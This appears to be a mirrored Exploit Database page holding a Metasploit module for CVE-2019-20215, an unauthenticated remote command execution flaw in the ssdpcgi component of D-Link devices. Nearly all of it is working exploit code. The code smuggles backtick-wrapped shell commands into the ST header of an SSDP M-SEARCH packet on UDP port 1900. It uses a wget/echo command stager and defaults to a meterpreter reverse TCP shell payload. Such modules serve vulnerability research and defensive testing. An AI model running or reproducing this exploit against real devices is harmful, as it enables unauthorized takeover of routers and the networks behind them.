D-Link Devices – Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)

• Exploit Database
• 18 阅读

• 作者： Metasploit
  日期： 2020-02-10
• 类别：

  • remote
  平台：

  • linux_mips
• 来源：https://www.exploit-db.com/exploits/48037/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::CmdStager
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',
  'Description' => %q{
  D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
  },
  'Author'=>
  [
  's1kr10s',
  'secenv'
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  ['CVE', '2019-20215'],
  ['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']
  ],
  'DisclosureDate' => 'Dec 24 2019',
  'Privileged' => true,
  'Platform' => 'linux',
  'Arch'=> ARCH_MIPSBE,
  'DefaultOptions' =>
  {
  'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
  'CMDSTAGER::FLAVOR' => 'wget',
  'RPORT' => '1900'
  },
  'Targets'=>
  [
  [ 'Auto',	{ } ],
  ],
  'CmdStagerFlavor' => %w{ echo wget },
  'DefaultTarget'=> 0
  ))
  
  register_options(
  [
  Msf::OptEnum.new('VECTOR',[true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])
  ])
  end
  
  def exploit
  execute_cmdstager(linemax: 1500)
  end
  
  def execute_command(cmd, opts)
  type = datastore['VECTOR']
  if type == "URN"
  print_status("Target Payload URN")
  val = "urn:device:1;`#{cmd}`"
  else
  print_status("Target Payload UUID")
  val = "uuid:`#{cmd}`"
  end
  
  connect_udp
  header = "M-SEARCH * HTTP/1.1\r\n"
  header << "Host:239.255.255.250: " + datastore['RPORT'].to_s + "\r\n"
  header << "ST:#{val}\r\n"
  header << "Man:\"ssdp:discover\"\r\n"
  header << "MX:2\r\n\r\n"
  udp_sock.put(header)
  disconnect_udp
  end
  end